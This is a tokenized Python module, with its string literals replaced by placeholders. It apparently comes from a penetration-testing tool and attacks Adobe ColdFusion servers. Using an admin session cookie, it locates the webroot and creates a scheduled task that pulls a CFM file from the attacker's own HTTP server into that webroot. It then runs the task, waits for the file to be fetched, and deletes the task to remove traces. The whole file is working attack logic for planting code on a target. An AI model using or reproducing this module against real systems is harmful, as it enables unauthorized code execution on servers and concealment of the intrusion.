<s> from src . platform . coldfusion . interfaces import CINTERFACES <EOL> from src . platform . coldfusion . authenticate import checkAuth <EOL> from src . module . deploy_utils import _serve , waitServe , parse_war_path , killServe <EOL> from threading import Thread <EOL> from os . path import abspath <EOL> from re import findall <EOL> from time import sleep <EOL> from log import LOG <EOL> import utility <EOL> import state <EOL> title = CINTERFACES . CFM <EOL> versions = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> def deploy ( fingerengine , fingerprint ) : <EOL> """<STR_LIT>""" <EOL> cfm_path = abspath ( fingerengine . options . deploy ) <EOL> cfm_file = parse_war_path ( cfm_path , True ) <EOL> dip = fingerengine . options . ip <EOL> cookie = checkAuth ( dip , fingerprint . port , title , fingerprint . version ) [ <NUM_LIT:0> ] <EOL> if not cookie : <EOL> utility . Msg ( "<STR_LIT>" , LOG . ERROR ) <EOL> return <EOL> utility . Msg ( "<STR_LIT>" . format ( cfm_file ) ) <EOL> utility . Msg ( "<STR_LIT>" , LOG . DEBUG ) <EOL> root = fetch_webroot ( dip , fingerprint , cookie ) <EOL> if not root : <EOL> utility . Msg ( "<STR_LIT>" , LOG . ERROR ) <EOL> return <EOL> utility . Msg ( "<STR_LIT>" % root , LOG . DEBUG ) <EOL> utility . Msg ( "<STR_LIT>" ) <EOL> if not create_task ( dip , fingerprint , cfm_file , root , cookie ) : <EOL> return <EOL> utility . Msg ( "<STR_LIT>" % cfm_file ) <EOL> run_task ( dip , fingerprint , cfm_path , cookie ) <EOL> utility . Msg ( "<STR_LIT>" ) <EOL> if not delete_task ( dip , fingerprint , cfm_file , cookie ) : <EOL> utility . Msg ( "<STR_LIT>" , LOG . ERROR ) <EOL> def create_task ( ip , fingerprint , cfm_file , root , cookie ) : <EOL> """<STR_LIT>""" <EOL> base = "<STR_LIT>" . format ( ip , fingerprint . port ) <EOL> uri = '<STR_LIT>' <EOL> if fingerprint . version in [ '<STR_LIT>' ] : <EOL> data = { <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : cfm_file , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT:0>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : state . external_port , <EOL> "<STR_LIT>" : "<STR_LIT>" . format ( utility . local_address ( ) , cfm_file ) , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT:1>" , <EOL> "<STR_LIT>" : root , <EOL> "<STR_LIT>" : cfm_file . replace ( '<STR_LIT>' , '<STR_LIT>' ) , <EOL> "<STR_LIT>" : "<STR_LIT>" <EOL> } <EOL> else : <EOL> data = { <EOL> "<STR_LIT>" : cfm_file , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT:0>" , <EOL> "<STR_LIT>" : "<STR_LIT:0>" , <EOL> "<STR_LIT>" : "<STR_LIT:0>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" . format ( utility . local_address ( ) , <EOL> state . external_port , cfm_file ) , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT:1>" , <EOL> "<STR_LIT>" : root + "<STR_LIT:\\>" + cfm_file , <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : "<STR_LIT>" <EOL> } <EOL> response = utility . requests_post ( base + uri , data = data , cookies = cookie ) <EOL> if response . status_code is <NUM_LIT:200> : <EOL> return True <EOL> def run_task ( ip , fingerprint , cfm_path , cookie ) : <EOL> """<STR_LIT>""" <EOL> success = False <EOL> cfm_file = parse_war_path ( cfm_path , True ) <EOL> server_thread = Thread ( target = _serve , args = ( cfm_path , ) ) <EOL> server_thread . start ( ) <EOL> sleep ( <NUM_LIT:2> ) <EOL> base = '<STR_LIT>' . format ( ip , fingerprint . port ) <EOL> if fingerprint . version in [ '<STR_LIT>' ] : <EOL> uri = '<STR_LIT>' % cfm_file <EOL> else : <EOL> uri = '<STR_LIT>' % cfm_file <EOL> response = utility . requests_get ( base + uri , cookies = cookie ) <EOL> if waitServe ( server_thread ) : <EOL> if fingerprint . version in [ '<STR_LIT>' ] : <EOL> out_diag = "<STR_LIT>" . format ( cfm_file . replace ( '<STR_LIT>' , '<STR_LIT>' ) ) <EOL> else : <EOL> out_diag = "<STR_LIT>" . format ( cfm_file ) <EOL> utility . Msg ( out_diag , LOG . SUCCESS ) <EOL> success = True <EOL> killServe ( ) <EOL> return success <EOL> def delete_task ( ip , fingerprint , cfm_file , cookie ) : <EOL> """<STR_LIT:U+0020>""" <EOL> base = '<STR_LIT>' . format ( ip , fingerprint . port ) <EOL> uri = '<STR_LIT>' <EOL> data = { <EOL> "<STR_LIT>" : "<STR_LIT>" , <EOL> "<STR_LIT>" : cfm_file <EOL> } <EOL> response = utility . requests_post ( base + uri , data = data , cookies = cookie ) <EOL> if response . status_code is <NUM_LIT:200> : <EOL> return True <EOL> def fetch_webroot ( ip , fingerprint , cookie ) : <EOL> """<STR_LIT>""" <EOL> base = "<STR_LIT>" . format ( ip , fingerprint . port ) <EOL> if fingerprint . version in [ '<STR_LIT>' ] : <EOL> uri = "<STR_LIT>" <EOL> else : <EOL> uri = '<STR_LIT>' <EOL> response = utility . requests_get ( base + uri , cookies = cookie ) <EOL> if response . status_code is <NUM_LIT:200> : <EOL> if fingerprint . version in [ '<STR_LIT>' ] : <EOL> data = findall ( "<STR_LIT>" , <EOL> response . content ) <EOL> if data and len ( data ) > <NUM_LIT:0> : <EOL> data = data [ <NUM_LIT:0> ] <EOL> else : <EOL> data = findall ( "<STR_LIT>" , <EOL> response . content ) <EOL> if data and len ( data ) > <NUM_LIT:0> : <EOL> data = data [ <NUM_LIT:1> ] <EOL> if data : <EOL> return data </s>
